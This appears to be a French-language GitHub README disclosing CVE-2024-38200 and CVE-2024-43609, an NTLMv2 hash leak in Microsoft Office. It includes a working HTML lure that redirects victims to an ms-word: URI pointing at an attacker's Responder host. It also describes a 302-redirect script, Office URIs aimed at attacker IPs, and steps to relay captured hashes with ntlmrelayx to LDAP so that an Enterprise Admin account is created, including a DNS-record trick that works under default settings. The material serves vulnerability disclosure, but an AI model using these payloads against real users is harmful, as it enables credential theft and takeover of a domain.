passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Vulnérabilité de divulgation NTLMv2 dans Microsoft Office
La méthode de capture du hash NTLMv2 via HTTP n'a pas été corrigée. Le hash NTLMv2 peut toujours être obtenu via HTTP et relayé vers LDAP ou ADCS. MSRC a déclaré que cette situation « telle que présentée, cela semble faire partie de la conception actuelle ».
Même si cette vulnérabilité est corrigée, comme indiqué dans la section Authentification Windows intégrée, le hash peut toujours être obtenu et relayé avec les paramètres par défaut.
Auparavant, une méthode pour capturer des hashs NTLMv2 via SMB en utilisant les schémas d'URI Office a été partagée. L'idée principale était simple. Envoyer l'URL du fichier HTML ci-dessous à la victime et capturer le hash NTLMv2 via SMB. LIEN
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
C'est le point qui m'a inspiré. Si nous consultons la page Schémas d'URI Office, nous pouvons voir que le protocole https:// est utilisé dans les schémas d'URI. Cette situation indique que http:// peut également être potentiellement utilisé. La capture du hash NTLMv2 via HTTP est plus avantageuse que via SMB pour effectuer une attaque de relais NTLM contre un contrôleur de domaine Tableau de relais.
Lorsque j'ai utilisé l'URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx contre Office 2016 MSO (16.0.4266.1001) 32-bit , une boîte d'avertissement est apparue pour protéger l'utilisateur contre une activité malveillante, mais je ne peux pas en dire autant pour Microsoft 365 Office and Office 2019. Ces versions accèdent à un fichier Office distant sans avertissement et peuvent être exploitées pour capturer le hash NTLMv2 via les protocoles SMB et HTTP.
J'ai découvert que le correctif pour CVE-2024-38200 n'a pas été appliqué correctement. Après la publication du correctif, j'ai testé la vulnérabilité contre Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) et Microsoft 365 MSO 2408 Build 16.0.17928.20114 et j'ai déterminé que la vulnérabilité peut toujours être exploitée comme indiqué ci-dessous CVE-2024-43609 .
Nous pouvons rediriger une requête HTTP vers un chemin UNC avec une redirection 302 lorsqu'une application Office effectue une requête via les schémas d'URI Office (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). Le script uncredirect.py gère la requête HTTP envoyée avec un schéma d'URI MS Office et la redirige vers un chemin UNC qui inclut l'adresse IP de Responder. Cette situation permettrait de capturer le hash NTLMv2 via SMB et de contourner la restriction de sécurité pour l'URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py et responder.office.html à l'utilisateur victime.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
La capture du hash NTLMv2 via HTTP est plus avantageuse que via SMB pour le relais LDAP. Lorsqu'un fichier est demandé via une URI Office, le hash NTLMv2 peut être obtenu via HTTP sans rediriger vers un chemin UNC à l'aide d'une redirection 302. Cette méthode d'exploitation ne peut pas être réalisée via Internet car, sauf en cas de mauvaise configuration dans les Propriétés Internet, l'authentification NTLM ne se produira pas via HTTP pour un hôte extérieur au réseau d'entreprise.
Cependant, je pense que c'est une méthode efficace pour les attaques par relais et l'élévation de privilèges.
Les paramètres des "Propriétés Internet" affectent le comportement d'authentification NTLM des applications Office. Nous pouvons le voir avec quelques exemples. Supposons que nous utilisons le format d'URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx pour capturer le hash NTLMv2.
Lorsque l'une des GPO listées ci-dessous est appliquée à une machine victime jointe au domaine, l'application Office effectue l'authentification automatiquement.
Automatic logon with current user name and password est défini pour User Authentication dans Internet ZoneLocal Intranet (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Trusted sites (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) et Automatic logon with current user name and password est défini pour User Authentication dans la zone Trusted Sites
Dans le cas où l'une des GPO mentionnées ci-dessus est appliquée, après que l'utilisateur victime clique sur l'URI, le fichier leak.docx sera récupéré par l'application Office à partir du serveur de l'attaquant et le hash NTLMv2 sera obtenu car la GPO appliquée provoque une authentification NTLM automatique.
Exemple de scénario pour abuser de la GPO :
Après avoir défini l'URI Office avec l'adresse IP (e.g., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), nous pouvons envoyer l'URL du fichier office.html à un utilisateur disposant de privilèges d'administrateur de domaine et relayer le hash capturé vers le serveur LDAP(S) à l'aide de ntlmrelayx. Le ntlmrelayx créera un nouvel utilisateur et l'ajoutera au groupe Enterprise Admins en un simple clic sur le bouton "Open".
Remarque :
Les sites ajoutés via GPO peuvent être listés à l'aide des clés de registre suivantes.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Si l'une des GPO mentionnées ci-dessus n'est pas appliquée, l'authentification NTLM ne se produira pas automatiquement. Cependant, si nous ajoutons un enregistrement A DNS et utilisons cet enregistrement dans l'URI Office, Windows considérera le nom d'hôte comme faisant partie de la zone Intranet. De cette façon, l'authentification NTLMv2 se produit automatiquement et un utilisateur standard peut élever ses privilèges sans avoir besoin d'une GPO mal configurée. Tout utilisateur de domaine disposant de privilèges standard peut ajouter un enregistrement DNS inexistant donc cette attaque fonctionne avec les paramètres par défaut pour un utilisateur de domaine.
